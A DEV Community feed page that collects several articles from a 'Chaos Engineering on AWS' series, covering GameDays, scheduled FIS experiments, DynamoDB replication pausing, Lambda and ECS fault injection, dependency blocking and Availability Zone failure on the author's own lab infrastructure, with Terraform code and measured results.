DEV Community: Tarek CHEIKH

Chaos Engineering on AWS: Running a Program with GameDays and Continuous Chaos

Tarek CHEIKH — Sun, 12 Jul 2026 09:16:28 +0000

This is Article 10, the final article in the “Chaos Engineering on AWS” series. The previous nine broke things: EC2, databases, dependencies, availability zones, containers, functions, and whole Regions. A single experiment proves a point once. This article is about the part that actually builds resilience: turning those experiments into a program that runs forever.

From Experiment to Practice

Every experiment in this series followed the same loop: form a hypothesis, inject a fault, measure, learn. Run that loop once and you have a result. Run it continuously, across teams, against production, and you have a resilience flywheel : each turn surfaces a weakness, you fix it, you raise the blast radius, and you find the next one. The system gets harder to break because something is always trying to break it.

The flywheel has three gears, and a real program runs all three:

GameDays: scheduled, human-in-the-loop exercises where a team runs experiments together and practices the response.
Continuous chaos: automated experiments that run unattended on a cadence, so resilience is verified between GameDays, not just during them.
Pipeline gates: experiments wired into CI/CD, so a resilience regression fails a build instead of reaching production.

The first is mostly process. The second and third are where AWS tooling matters, and where this article puts real, validated infrastructure on the table. Source is at github.com/TocConsulting/chaos-on-aws, in 10-chaos-program/.

GameDays: the Human Gear

A GameDay is a deliberate, scheduled session where a team injects a known fault into a real environment and practices detecting, diagnosing, and recovering from it. The point is not the fault; it is the response. You learn whether the alarms fire, whether the runbook is correct, whether the on-call engineer knows what to do, and whether the dashboards actually show the problem.

The whole series is a GameDay catalogue. Each article is a self-contained scenario with a hypothesis and a measured outcome: stress a fleet (Article 5), kill an availability zone (Article 6), throttle a dependency (Article 7), pause cross-Region replication (Article 9). A good GameDay program works through scenarios like these on a calendar, starts in staging, and graduates to production once the team trusts the safety controls (stop conditions, alarms, blast-radius limits) that every one of these templates already includes.

Continuous Chaos: the Automated Gear

GameDays are periodic and manual. Resilience decays continuously: a config drifts, a retry gets removed, a timeout is bumped, a new dependency is added without a fallback. To catch that you need experiments that run on their own, on a schedule, with no one watching.

Here is the first important fact: AWS FIS has no native scheduler. The FIS console only offers “start experiment.” Recurrence comes from outside, and the AWS-documented way is Amazon EventBridge Scheduler calling the FIS StartExperiment API through its universal (AWS SDK) target. The lab for this article is exactly that: a small EC2 instance, an aws:ec2:stop-instances FIS template, and an EventBridge Scheduler schedule that starts the experiment every few minutes, unattended.

The schedule uses the universal target ARN arn:aws:scheduler:::aws-sdk:fis:startExperiment and an execution role trusting scheduler.amazonaws.com with fis:StartExperiment on both the template and the experiment resource:

resource "aws_scheduler_schedule" "fis_recurring" {
  name = "chaos-program-recurring-experiment"

  flexible_time_window { mode = "OFF" }
  schedule_expression = "rate(3 minutes)"

  target {
    arn = "arn:aws:scheduler:::aws-sdk:fis:startExperiment"
    role_arn = aws_iam_role.scheduler.arn
    input = "{\"ClientToken\": \"<aws.scheduler.execution-id>\", \"ExperimentTemplateId\": \"${...}\"}"
  }
}

The Gotcha That Makes a Recurring Schedule Run Only Once

This is the detail worth the price of admission, and it cost real debugging time to find. FIS StartExperiment requires a ClientToken, an idempotency token. If that token is the same on every invocation, FIS treats every call after the first as a duplicate and returns the original experiment instead of starting a new one. The schedule looks healthy, no errors, no alarms, and yet only one experiment ever runs.

The fix AWS documents is to make the token unique per invocation using the EventBridge Scheduler context attribute , which is substituted at run time. The trap is in how you write it in Terraform. The obvious approach, jsonencode, breaks it :

# WRONG: jsonencode HTML-escapes the angle brackets
input = jsonencode({
  ClientToken = "<aws.scheduler.execution-id>"
  ExperimentTemplateId = aws_fis_experiment_template.stop_target.id
})
# stored as: {"ClientToken":"\u003caws.scheduler.execution-id\u003e", ...}

Terraform’s jsonencode escapes < and > to \u003c and \u003e. EventBridge Scheduler only substitutes the literal , so the escaped form is never recognized, the token stays static, and the schedule silently runs the experiment exactly once. I confirmed this live: with jsonencode, after eleven minutes at a three-minute rate, there was still exactly one experiment.

The fix is to build the input as a raw string so the angle brackets survive:

input = "{\"ClientToken\": \"<aws.scheduler.execution-id>\", \"ExperimentTemplateId\": \"${aws_fis_experiment_template.stop_target.id}\"}"

The Validation

With the raw-string input deployed, the stored target input held the literal placeholder, and the schedule started behaving as a schedule should. The experiments it started, with no human involved:

EXP8nCtZ1gegrkq5nr start 23:53:10 completed (before the fix)
EXPjXXtNk21hZdoyCv start 00:11:00 completed
EXPkVRFTcTLcrWsh9L start 00:14:00 completed

The two experiments after the fix started at 00:11:00 and 00:14:00, exactly three minutes apart , each a distinct experiment with its own unique client token, each one stopping and then restarting the target instance on its own. That is continuous chaos: a resilience check that runs forever on a cadence and needs no one to remember to run it. Point it at a non-destructive experiment with a tight stop condition and you have a heartbeat for your resilience.

Pipeline Gates: the CI/CD Gear

The third gear runs an experiment as a step in your deployment pipeline and fails the build if it does not pass. The pattern is the same in any CI system: start an experiment, poll until it finishes, and exit non-zero if it stopped or failed (for example because a stop-condition alarm tripped). The repository includes two example gates, a GitHub Actions workflow and a CodeBuild buildspec, both built on the same three calls:

EXP_ID=$(aws fis start-experiment \
  --experiment-template-id "$FIS_TEMPLATE_ID" --query 'experiment.id' --output text)
# poll aws fis get-experiment ... until completed | stopped | failed
# exit 1 on stopped/failed -> the deploy is blocked

The IAM here matters: StartExperiment needs permission on both the experiment-template/* and the experiment/* resource, and it does not require iam:PassRole because FIS uses the experiment role stored on the template itself. A gate like this means a change that quietly removes a retry or breaks a fallback gets caught by a red build, not by customers.

Measuring the Program: AWS Resilience Hub

Experiments tell you what broke. AWS Resilience Hub tells you whether you are meeting your targets across an application. You define an application, set a resiliency policy with explicit RTO and RPO targets (the two numbers from Article 9), and Resilience Hub assesses the architecture, scores it against those targets, and recommends the FIS experiments that would validate its findings. It closes the loop: define targets, assess, run the recommended experiments, fix the gaps, reassess.

Terraform coverage for Resilience Hub is uneven, so the practical path today is to define the application and policy in the console, run the recommended experiments using the FIS templates from this series, and read the score. Treat the score as a trend line, not a grade: the point is that it moves in the right direction as the flywheel turns.

Putting It Together: a Real Program

A working chaos engineering program on AWS looks like this:

Start in a pre-production environment, with every experiment carrying a stop condition wired to a CloudWatch alarm, exactly as the templates in this series do.
Run GameDays on a calendar, working through scenarios like the nine in this series, and use them to harden runbooks and train on-call engineers.
Promote the safe, non-destructive experiments to continuous runs on EventBridge Scheduler, so resilience is checked between GameDays.
Gate deployments in CI/CD on a fast resilience experiment, so regressions fail builds.
Track the whole thing against RTO and RPO targets in Resilience Hub, and graduate to production once you trust the controls.

None of this requires exotic tooling. Everything in this series is FIS, CloudWatch, EventBridge, ordinary IAM, and Terraform. The hard part was never the tools; it was the discipline to keep turning the flywheel, and the honesty to measure real numbers instead of trusting the diagram. That is the whole series in one sentence: do not assume your system is resilient, break it on purpose and find out.

The Series

Thank you for reading all ten. If you are starting from scratch, begin with Article 1 and work forward; each article is a self-contained, validated experiment you can deploy from the repository and run yourself. If you want help standing up a chaos engineering program on your own AWS estate, that is exactly the kind of work we do.

Cleanup

cd chaos-on-aws/10-chaos-program/terraform
terraform destroy

The schedule keeps starting experiments every few minutes until you remove it, so do not leave this lab running. A single destroy removes the schedule, the FIS template, the instance, the VPC, and the roles.

References

Chaos Engineering on AWS: Multi-Region Disaster Recovery and Measuring Real RPO

Tarek CHEIKH — Sun, 12 Jul 2026 09:16:07 +0000

This is Article 9 in the “Chaos Engineering on AWS” series. Every experiment so far has stayed inside a single Region. Here we go all the way up: two Regions, a global database, and a fault that severs the link between them so we can put a real number on the question every DR plan answers on paper but rarely tests.

The Two Numbers That Define Disaster Recovery

Disaster recovery is sold in two numbers. RTO , the recovery time objective, is how long you are down. RPO , the recovery point objective, is how much data you lose. A runbook that says “RPO is near zero because we use DynamoDB global tables” is a hypothesis, not a fact, and the only honest way to know the real figure is to break replication on purpose and count what is missing.

That used to be hard. You cannot unplug a Region, and pulling apart a global table by hand is risky and slow. In 2024 AWS FIS added an action built exactly for this: aws:dynamodb:global-table-pause-replication. It pauses replication between the replicas of a global table for a fixed duration, then restores it cleanly. That is the precise, reversible, measurable fault this article uses.

The Architecture: One App, Two Regions, One Global Table

The stack is deliberately small and fully serverless, so it is cheap to run and there are no servers to confuse the picture. It exists identically in two Regions, us-east-1 (primary) and us-west-2 (secondary):

A DynamoDB global table (chaos-lab-orders) with a replica in each Region. Writes in one Region replicate asynchronously to the other. This is the data tier that is supposed to survive a Region loss.
A Lambda function in each Region that reads and writes its local replica. It exposes GET /put (write one order record) and GET /count (count what this Region's replica can see).
An API Gateway HTTP API in front of each Lambda, giving us a live endpoint per Region.

There is no Route 53, no custom domain, and no health-check failover in this lab. That is on purpose. Cutover routing is a solved, well-documented problem; the thing teams get wrong is the data, so we drive the two Region endpoints directly and focus the experiment entirely on what replication does and does not guarantee. Full source is at github.com/TocConsulting/chaos-on-aws, in 09-multi-region-dr/terraform/.

The global table is the modern single-resource form (the 2019.11.21 version), one aws_dynamodb_table with a replica block per extra Region, not the deprecated standalone aws_dynamodb_global_table:

resource "aws_dynamodb_table" "global" {
  name = "chaos-lab-orders"
  billing_mode = "PAY_PER_REQUEST"
  hash_key = "id"
  stream_enabled = true
  stream_view_type = "NEW_AND_OLD_IMAGES"

  attribute {
    name = "id"
    type = "S"
  }

  replica {
    region_name = var.region_secondary
  }
}

The Fault: Pausing Replication

One detail is worth getting right before you waste an afternoon on it. The FIS action targets the resource type aws:dynamodb:global-table, but the literal target key inside the action block is Tables, not GlobalTables and not DynamoDBGlobalTables. That one string is load bearing. Unlike the Lambda actions in Article 8, the Terraform provider does accept this template, so the whole experiment is defined in Terraform:

resource "aws_fis_experiment_template" "pause_replication" {
  description = "Pause DynamoDB global table replication"
  role_arn = aws_iam_role.fis.arn

  stop_condition { source = "none" }

  target {
    name = "globalTableTarget"
    resource_type = "aws:dynamodb:global-table"
    selection_mode = "ALL"
    resource_arns = [aws_dynamodb_table.global.arn]
  }

  action {
    name = "pauseReplication"
    action_id = "aws:dynamodb:global-table-pause-replication"
    parameter {
      key = "duration"
      value = "PT20M"
    }
    target {
      key = "Tables"
      value = "globalTableTarget"
    }
  }
}

The target is the ordinary base table ARN (aws_dynamodb_table.global.arn), not a stream ARN and not a special global-table ARN. The only parameter is duration. The FIS role needs dynamodb:PutResourcePolicy, DeleteResourcePolicy, GetResourcePolicy, and DescribeTable, plus tag:GetResources if you select by tag, because of how the fault actually works, which is the interesting part.

How It Actually Works

The action does not call a “pause” API. It attaches a resource policy to the table that denies the DynamoDB replication service the right to act, for the duration of the experiment. While the experiment ran, the table carried this statement, captured live from the account:

{
  "Sid": "DoNotModifyFisDynamoDbPauseReplicationEXP9uCqGqDDsRTG45x",
  "Effect": "Deny",
  "Principal": { "AWS": "*" },
  "Action": ["dynamodb:GetItem","dynamodb:PutItem","dynamodb:UpdateItem",
             "dynamodb:DeleteItem","dynamodb:Scan", ...],
  "Resource": "arn:aws:dynamodb:us-east-1:...:table/chaos-lab-orders",
  "Condition": {
    "ArnEquals": { "aws:PrincipalArn":
      "arn:aws:iam::...:role/aws-service-role/replication.dynamodb.amazonaws.com/AWSServiceRoleForDynamoDBReplication" },
    "DateLessThan": { "aws:CurrentTime": "2026-06-19T21:39:10Z" }
  }
}

Read the condition carefully. The Deny applies only to the principal AWSServiceRoleForDynamoDBReplication, the service-linked role DynamoDB uses to copy data between replicas. Your application's own reads and writes are untouched. And the DateLessThan condition means the policy expires on its own at the experiment end time, so even if FIS could not clean up, the fault is self-healing. When the experiment ends, FIS removes the statement and replication resumes. This is a precise, reversible cut, and seeing the mechanism makes the results obvious.

Running the Experiment

The procedure is simple. Establish a baseline, start the experiment, keep writing to the primary, and watch the secondary. First the baseline, with replication healthy:

5 records written to PRIMARY (us-east-1)
PRIMARY count: 5
SECONDARY count: 5 (after ~5 seconds)

Normal global table behavior: a write in one Region shows up in the other within a few seconds. Now start the fault and keep writing one new record to the primary every 20 seconds while polling both Regions:

elapsed | primary_count | secondary_count | gap
    3s | 6 | 5 | 1
   89s | 10 | 5 | 5
  195s | 15 | 5 | 10
  303s | 20 | 5 | 15
  367s | 23 | 5 | 18

The secondary froze at exactly 5, the baseline, and never moved. The primary kept happily accepting writes, climbing to 23. Every record written after the pause engaged piled up in the primary with no path to the secondary. The documentation warns that replication can continue for up to five minutes after the action begins; in this run the cut was effectively immediate, the very first write during the experiment never crossed.

The Result: RPO Is Not Zero

At the moment the experiment was stopped, the gap was 18 records. Those are 18 successful, acknowledged writes that the primary holds and the secondary has never seen. If the primary Region had failed at that instant and we had cut traffic over to the secondary, those 18 orders would simply be gone. Not delayed. Gone, until the primary comes back, which in a real regional event might be hours or never.

That is the number the runbook never had. “RPO is near zero” is true only while replication is healthy. The instant replication is impaired, RPO grows at the rate you write, and a failover during that window loses everything in the gap. The lab made it a count you can see; in production it is the size of your write rate multiplied by how long the impairment lasts before someone decides to fail over.

Recovery

Stopping the experiment removes the deny statement, and DynamoDB catches up on its own. The secondary stayed at 5 for a while after the stop (the policy removal also takes effect with a short delay), then jumped straight to 23:

stop experiment
+ 1s secondary=5 / primary=23
+ 96s secondary=5 / primary=23
+112s secondary=23 / primary=23 CAUGHT UP

The backlog drained and the two Regions reconverged in about 112 seconds. That is the good news: once replication is restored, global tables heal themselves and no data written to the surviving primary is lost. The trap is only the window in between, and only if you fail over during it.

What This Tells You About Your DR Plan

The experiment is small, but the lesson scales directly to any active-passive or active-active design built on asynchronous cross-Region replication, which is almost all of them:

Asynchronous replication makes RPO a function of replication lag, not a constant. Healthy lag is seconds. Impaired lag is unbounded. Your true RPO is whatever the lag is at the moment you fail over, so the question that matters is “how do we know the lag, and do we hold off failover until it drains?”
Failing over too eagerly can cost more than the outage. If the primary is merely slow rather than gone, cutting to the secondary mid-impairment trades a degraded service for permanent data loss. A good runbook checks replication health before it pulls the trigger.
The recovery side is the reassuring part. Global tables reconverged with zero intervention and zero loss to the primary once replication resumed. The resilience is real; the failure mode is specifically the failover decision during the gap.

None of this is visible from an architecture diagram. It only shows up when you pause replication on a live system and count. That is the whole point of chaos engineering applied to disaster recovery: turn the two numbers on the runbook from assertions into measurements.

What Is Next

We have now broken compute, storage, dependencies, availability zones, and entire Regions. The final article steps back from any single experiment to the practice itself: how to run Article 10, a chaos engineering program , with GameDays, continuous automated experiments in a pipeline, and the cultural and safety guardrails that let you do this on production without fear.

Cleanup

cd chaos-on-aws/09-multi-region-dr/terraform
terraform destroy

A global table with a replica takes a minute or two to delete because both Regions’ replicas must be removed. Everything in this lab (DynamoDB, two Lambdas, two HTTP APIs, the IAM roles, the FIS template) is in Terraform state, so a single destroy removes all of it. Tear it down so it does not run up a bill.

References

Chaos Engineering on AWS: Containers and Serverless with FIS (ECS Fargate and Lambda)

Tarek CHEIKH — Sat, 11 Jul 2026 07:48:32 +0000

This is Article 8 in the “Chaos Engineering on AWS” series. Every experiment so far has run on EC2. Here we leave virtual machines behind and break containers and functions: an ECS Fargate service and an AWS Lambda, where the failure modes and the FIS tooling are different.

Different Compute, Different Tools

FIS does not treat every compute model the same. On EC2 you inject CPU and network faults through SSM documents (Article 5). On ECS you act on tasks. On Lambda you act on invocations through a dedicated extension. The actions, the targeting, and the setup all differ, and the differences are where people get stuck. This article covers the two that matter most outside of EC2: a Fargate service and a Lambda function, with the exact setup that actually works.

This is a standalone stack: an ECS Fargate service behind an ALB, and a Lambda behind an API Gateway HTTP API. Code at github.com/TocConsulting/chaos-on-aws, in 08-containers-and-serverless/terraform/.

Containers: Stopping a Fargate Task Set

For ECS, the FIS action aws:ecs:stop-task stops tasks the way a node failure or a deployment problem would. We target the whole service, not one task, so the load balancer has nowhere to route. The target uses parameters to name the cluster and service:

resource "aws_fis_experiment_template" "ecs_stop_tasks" {
  description = "Stop all Fargate tasks in the service"
  role_arn = aws_iam_role.fis.arn

  action {
    name = "stop-tasks"
    action_id = "aws:ecs:stop-task"
    target { key = "Tasks", value = "ecs-tasks" }
  }

  target {
    name = "ecs-tasks"
    resource_type = "aws:ecs:task"
    selection_mode = "ALL"
    parameters = {
      cluster = aws_ecs_cluster.main.arn
      service = aws_ecs_service.app.name
    }
  }
}

The FIS role uses the managed policy AWSFaultInjectionSimulatorECSAccess. No SSM sidecar is needed for stopping tasks (it would be for in-task CPU or network faults, which run through the SSM agent or the ECS fault-injection endpoints). The task definition sets enable_fault_injection = true so the more advanced task-level faults are available later.

Result

baseline: requests=44 ok=44 fail=0 p95=208ms
during: requests=261 ok=221 fail=40
ecs status: completed

Stopping the whole task set produced a real outage window: 40 of 261 requests failed while the ALB had no healthy targets, until ECS launched replacement tasks and the service recovered. This is the container equivalent of the EC2 detection window from Article 1, and it is faster: ECS reschedules tasks more quickly than an Auto Scaling group launches and boots instances. But “faster” is not “instant,” and the gap is real. If you run only one task, this is a full outage every time a task is replaced, which is why production services run at least two and spread them across AZs.

Serverless: Forcing Lambda to Fail and to Stall

Lambda fault injection works differently from everything else in FIS. You do not act on the function from the outside; you attach an FIS Lambda extension as a layer, and FIS writes fault configuration to an S3 location that the extension reads on each invocation. Two native actions matter here:

aws:lambda:invocation-error with preventExecution = true: every invocation returns an error without running your code.
aws:lambda:invocation-add-delay with startupDelayMilliseconds: every invocation is delayed. Per the AWS docs this applies to all execution environments, warm and cold, not just cold starts, and setting the delay above the function timeout gives you a clean timeout event.

The Setup That Actually Works (and the One That Does Not)

This is where I lost an hour, so learn from it. The function needs three things: the extension layer, two environment variables, and the right IAM on two roles.

environment {
  variables = {
    AWS_LAMBDA_EXEC_WRAPPER = "/opt/aws-fis/bootstrap"
    # MUST be an S3 ARN, not an s3:// URI:
    AWS_FIS_CONFIGURATION_LOCATION = "arn:aws:s3:::your-bucket/FisConfigs/"
  }
}
layers = [data.aws_ssm_parameter.fis_lambda_extension.value]

The trap: AWS_FIS_CONFIGURATION_LOCATION must be an Amazon S3 ARN (arn:aws:s3:::bucket/FisConfigs/), not the s3://bucket/... URI form you use almost everywhere else. If you set it to an s3:// URI, every experiment fails at target resolution with a misleading error: "One or more Lambda Functions have an invalid value for the required environment variable AWS_FIS_CONFIGURATION_LOCATION." It is not a permissions or extension problem; it is the ARN format. Get the extension layer ARN from the public SSM parameter rather than hardcoding it:

data "aws_ssm_parameter" "fis_lambda_extension" {
  name = "/aws/service/fis/lambda-extension/AWS-FIS-extension-x86_64/1.x.x"
}

The IAM splits across two roles. The function execution role needs read on the config prefix (s3:ListBucket on the bucket scoped to the prefix, and s3:GetObject on FisConfigs/*). The FIS experiment role needs write (s3:PutObject, s3:DeleteObject on FisConfigs/*), plus lambda:GetFunction and tag:GetResources. And the S3 bucket must be in the same Region you start the experiment from.

One More Gotcha: the Terraform Provider and the Lambda Target

At the time of writing (AWS provider 5.100), defining the Lambda invocation experiment in aws_fis_experiment_template did not work for me: the action needs the target key Functions (paired with resourceType "aws:lambda:function"), and the provider version I used rejected it. So the function, its extension, the S3 bucket, and the IAM are all in Terraform, but the Lambda experiment template itself is created with the AWS CLI. If you are on a newer provider, check whether it now accepts the Functions key before reaching for the CLI:

aws fis create-experiment-template --cli-input-json file://lambda-error.json

where the JSON targets "resourceType": "aws:lambda:function" with the key "Functions". This is worth knowing before you spend time fighting the provider.

Results

Forced errors (invocation-error, 100 percent, prevent execution):

during: requests=75 ok=3 fail=72 (codes: 3x 200, 72x 500)

The extension polls for config on a slow cycle (up to 60 seconds by default per the docs), so faults ramp up rather than flip on instantly. We waited 75 seconds after starting the experiment before probing, so by then the config was essentially loaded: only the first three requests slipped through with a 200 before the fault took over. Across the capture, 96 percent of invocations returned 500 (72 of 75) without ever running the handler. For an API-fronted Lambda, that is a complete functional outage that no amount of Lambda “managed” infrastructure prevents, because the fault is in the invocation path your code lives in.

Added latency (invocation-add-delay, 8000 ms):

baseline: p50=288ms
during: p50=8455ms p95=9357ms

Warm-invocation latency jumped from a p50 of about 290 ms to roughly 8.5 seconds, exactly as the docs describe: the delay is billed and applies to all execution environments, not just cold starts. Set that delay above your function timeout and you get a clean, repeatable timeout event to test your callers against. This is the serverless version of the gray failure from Article 5: the function still “works,” but it is far too slow to be useful, and your error-rate dashboard stays green.

What Is Next

We have broken EC2, containers, and functions, but always within a single Region. In Article 9 , we go all the way up: a multi-Region architecture, and a Region-level failure, to test disaster recovery and measure real RTO and RPO.

Cleanup

cd chaos-on-aws/08-containers-and-serverless/terraform
terraform destroy

The Lambda experiment templates created with the CLI are not in Terraform state, so delete them too (aws fis delete-experiment-template); the capture script does this automatically. Then tear the stack down so it does not run up a bill.

References

Chaos Engineering on AWS: Dependency and API Faults with FIS

Tarek CHEIKH — Sat, 11 Jul 2026 07:47:53 +0000

This is Article 7 in the “Chaos Engineering on AWS” series. We go after the dependencies an application leans on without thinking, DynamoDB and S3, and find out whether losing one of them quietly degrades a single feature or quietly takes the whole app down.

The Dependencies You Forget You Have

Every real application talks to more than its primary database. It reads a config file from S3, looks up reviews or sessions in DynamoDB, calls a payment API, fetches a feature flag. Each of those is a dependency, and each one can fail independently. The question that matters is not “what if my database goes down” (we covered that in Articles 3 and 4) but “what happens to everything else when one secondary dependency goes down.” If the answer is “the whole app hangs,” you have a cascading failure waiting to happen.

We extend the Chaos Shop with two secondary dependencies and then sever each one. The product catalog stays on Aurora. Product reviews now live in DynamoDB, and a promo banner lives in S3. Code at github.com/TocConsulting/chaos-on-aws, in 07-dependency-and-api-faults/terraform/.

You Cannot FIS-Throttle DynamoDB, So Block Its Endpoint

The instinct is to reach for an API-throttling fault. AWS FIS has aws:fis:inject-api-throttle-error, but its supported services are only ec2 and kinesis. There is no DynamoDB data-plane throttle action. The reliable way to simulate "DynamoDB is unreachable" is to block its regional endpoint from the application's subnets with aws:network:disrupt-connectivity using scope = dynamodb. The same action with scope = s3 blocks the S3 endpoint.

This works here precisely because the application reaches DynamoDB and S3 over the network from its subnets. (Contrast Article 4, where the application reached Aurora through RDS Proxy, a managed service whose connection is not severed by a subnet network ACL. The fault has to match how the dependency is actually reached.) We scope the block to just the dependency, not the whole subnet, so the catalog keeps working:

resource "aws_fis_experiment_template" "disrupt_dynamodb" {
  description = "Block the DynamoDB endpoint from the app subnets"
  role_arn = aws_iam_role.fis.arn

  action {
    name = "disrupt-dynamodb"
    action_id = "aws:network:disrupt-connectivity"
    parameter { key = "duration", value = "PT3M" }
    parameter { key = "scope", value = "dynamodb" }
    target { key = "Subnets", value = "app-subnets" }
  }

  target {
    name = "app-subnets"
    resource_type = "aws:ec2:subnet"
    selection_mode = "ALL"
    resource_arns = aws_subnet.private[*].arn
  }
}

Note the subnet target selects all the app subnets, so every instance loses DynamoDB at once. Blocking the dependency on one subnet while the load balancer routes to another would, again, prove nothing.

The One Line That Decides Everything: the Timeout

Whether a dependency failure stays contained comes down to a single configuration choice: the client timeout. The default boto3 timeout is sixty seconds with retries. If a request handler calls DynamoDB with the default and DynamoDB is unreachable, that handler hangs for up to sixty seconds, holding a worker the entire time. A few requests per second of that and every worker is stuck waiting on a dead dependency, and now your healthy endpoints are unreachable too because there is no worker free to serve them. That is how one dependency outage becomes a full outage.

So the reviews and promo endpoints use a short, no-retry timeout, which turns a dependency outage into a fast 503 instead of a sixty-second hang:

_boto_cfg = Config(connect_timeout=2, read_timeout=2, retries={"max_attempts": 0})
_ddb = boto3.resource("dynamodb", region_name=REGION, config=_boto_cfg)
_s3 = boto3.client("s3", region_name=REGION, config=_boto_cfg)


@app.route("/products/<int:product_id>/reviews")
def product_reviews(product_id):
    try:
        resp = _reviews_table.query(...)
        return jsonify({"reviews": ..., "source": "dynamodb"})
    except Exception as e:
        return jsonify({"error": "reviews temporarily unavailable"}), 503

The reviews and promo endpoints are also separate from the catalog endpoints, so a slow or failing dependency cannot block a catalog request even if the timeout were long. Isolation by endpoint and isolation by timeout are two different defenses, and you want both.

The Experiment

A probe hits all three endpoints every second: the catalog (/products, Aurora), reviews (/products/3/reviews, DynamoDB), and promo (/promo, S3). We capture a baseline, then block one dependency at a time. Real numbers from a live run.

Blocking DynamoDB

baseline (30s): products ok=18/0 reviews ok=18/0 promo ok=18/0
during (120s): products ok=29/0 reviews ok=0/29 promo ok=29/0

The moment the DynamoDB endpoint was blocked, the reviews endpoint went to 100 percent failure : zero successes, twenty-nine failures, every one a fast 503. The catalog and the promo banner were completely unaffected : zero failures on either. A customer browsing products during this outage would see every product and price normally, and only the reviews section would show “reviews temporarily unavailable.” That is a degraded feature, not a degraded store.

Blocking S3

baseline (30s): products ok=17/0 reviews ok=16/1 promo ok=17/0
during (120s): products ok=13/0 reviews ok=13/0 promo ok=0/13

Symmetric result: blocking S3 took the promo banner to 100 percent failure while the catalog and reviews kept serving with zero failures. Each dependency outage was contained to exactly the one feature that depended on it.

Why This Is the Good Outcome, and How It Goes Wrong

This experiment “passed” in the sense that the blast radius stayed contained, and that is worth stating plainly: a dependency outage that only takes down the dependent feature is the goal. But it is only the good outcome because of two deliberate choices, and it is worth seeing how each one, removed, turns this into a disaster:

Short timeouts. With the default sixty-second boto3 timeout, the twenty-nine failed reviews requests would each have held a worker for a minute. At four workers per instance, the worker pool fills in seconds, and then the catalog requests, which never touch DynamoDB, start failing too because there is no worker free to run them. The dependency outage cascades into a full outage. We did not see that here only because the timeout is two seconds with no retries.
Feature isolation. If the reviews were rendered inline on the product page instead of fetched from a separate endpoint, blocking DynamoDB would have failed the product page itself, not just a reviews widget. The catalog only stayed up because it does not call DynamoDB at all.

The chaos experiment does not just tell you “we survived.” It tells you exactly which design decisions you are depending on to survive, so you can defend them on purpose instead of by luck. Try this experiment against a service with default timeouts and you will watch the whole thing fall over from a single dependency blip.

What Is Next

We have degraded compute, database, an Availability Zone, and now individual dependencies, all on EC2. In Article 8 , we leave virtual machines behind and inject faults into containers and serverless: ECS Fargate tasks and AWS Lambda, where the failure modes and the tools are different.

Cleanup

cd chaos-on-aws/07-dependency-and-api-faults/terraform
terraform destroy

Tear the lab down when you are done so it does not run up a bill.

References

Chaos Engineering on AWS: Surviving an Availability Zone Failure with FIS and Static Stability

Tarek CHEIKH — Fri, 10 Jul 2026 05:46:32 +0000

This is Article 6 in the “Chaos Engineering on AWS” series. We stop degrading single instances and take down an entire Availability Zone: every instance in it stopped, its subnet blackholed, and the database failed out of it. Then we find out whether “multi-AZ” actually means what the diagram says.

The Most Important AWS Resilience Test

Every serious AWS architecture claims to be multi-AZ. Two subnets, instances spread across zones, a Multi-AZ database. The assumption is that losing one Availability Zone is a non-event: the survivors carry the load and customers never notice. That assumption is almost never tested, and it is the single most valuable thing to test, because AZ failures are exactly the kind of large, rare, expensive event your architecture exists to survive.

In this article we simulate a full AZ power interruption against the Chaos Shop stack and measure what actually happens. The infrastructure is built for static stability: an Application Load Balancer across two AZs, an Auto Scaling group with two instances in each AZ, and a Multi-AZ Aurora cluster with a writer and a reader in different zones. Code at github.com/TocConsulting/chaos-on-aws, in 06-availability-zone-failure/terraform/.

Static Stability: The Idea Being Tested

The AWS Well-Architected Reliability Pillar (REL11-BP05, “Use static stability to prevent bimodal behavior”) frames static stability as a workload that is statically stable and only operates in a single normal mode. Its opposite is bimodal behavior, which the page defines as a workload that “exhibits different behavior under normal and failure modes,” for example a system that tries to recover from losing an AZ by launching new capacity in the survivors. That is fragile, because the moment you most need to launch instances (a large-scale event) is the moment the control plane is most stressed and capacity is least guaranteed.

Static stability means provisioning the surviving AZ to carry the full load before the failure, not after. That is why our Auto Scaling group runs four instances, two per AZ: if one AZ disappears, the two instances in the other AZ are already running and already in the load balancer. We are not betting on launching anything during the failure. The experiment will tell us whether that bet pays off.

How We Take Down an AZ

AWS FIS ships an “AZ Availability: Power Interruption” scenario, and its full JSON is published in the docs: you can save that “Scenario Content” and feed it to create-experiment-template from the CLI, or create it from the Console or an SDK. Rather than importing it, we compose the equivalent symptoms ourselves in Terraform so the experiment lives in our codebase next to the infrastructure it tests. We reduce it to three actions that run in parallel against the target AZ (us-east-1a):

Stop every instance in the AZ. aws:ec2:stop-instances targeting instances filtered by Placement.AvailabilityZone, with startInstancesAfterDuration = PT6M so they stay down.
Blackhole the AZ’s subnet. aws:network:disrupt-connectivity with scope = all on the AZ's private subnet for two minutes. This is what makes it feel like a real power loss: packets are dropped, not refused, so anything still talking to that AZ hangs instead of failing fast.
Fail Aurora over. aws:rds:failover-db-cluster, which promotes the reader in the surviving AZ if the writer was in the failing one.

resource "aws_fis_experiment_template" "az_power_interruption" {
  description = "Simulate loss of one Availability Zone"
  role_arn = aws_iam_role.fis.arn

  action {
    name = "stop-az-instances"
    action_id = "aws:ec2:stop-instances"
    parameter { key = "startInstancesAfterDuration", value = "PT6M" }
    target { key = "Instances", value = "az-instances" }
  }
  action {
    name = "blackhole-az-subnet"
    action_id = "aws:network:disrupt-connectivity"
    parameter { key = "duration", value = "PT2M" }
    parameter { key = "scope", value = "all" }
    target { key = "Subnets", value = "az-subnet" }
  }
  action {
    name = "failover-aurora"
    action_id = "aws:rds:failover-db-cluster"
    target { key = "Clusters", value = "aurora-cluster" }
  }

  target {
    name = "az-instances"
    resource_type = "aws:ec2:instance"
    selection_mode = "ALL"
    resource_tag { key = "Project", value = "chaos-lab" }
    filter { path = "Placement.AvailabilityZone", values = ["us-east-1a"] }
    filter { path = "State.Name", values = ["running"] }
  }
  # ... az-subnet (the AZ private subnet) and aurora-cluster targets ...
}

Note the instance target uses selection_mode = "ALL" with an AZ filter, so it stops every instance in the target AZ, not one. Targeting a single instance is the most common way to run a chaos experiment that proves nothing, because the load balancer simply routes around it. To test an AZ failure you have to take the whole AZ.

One honest gap: our three-action template deliberately omits the scenario’s insufficient-capacity actions (aws:ec2:api-insufficient-instance-capacity-error and aws:ec2:asg-insufficient-instance-capacity-error), which simulate the dead AZ refusing to launch new instances. With static stability we are betting on the surviving AZ's already-running capacity rather than re-launching into the failed one, so this gap does not change the result here, but if you ever rely on scaling during the failure, add those actions back to keep the test honest.

A Gotcha: FIS Will Not Start if the Stop-Condition Alarm Is Already Breaching

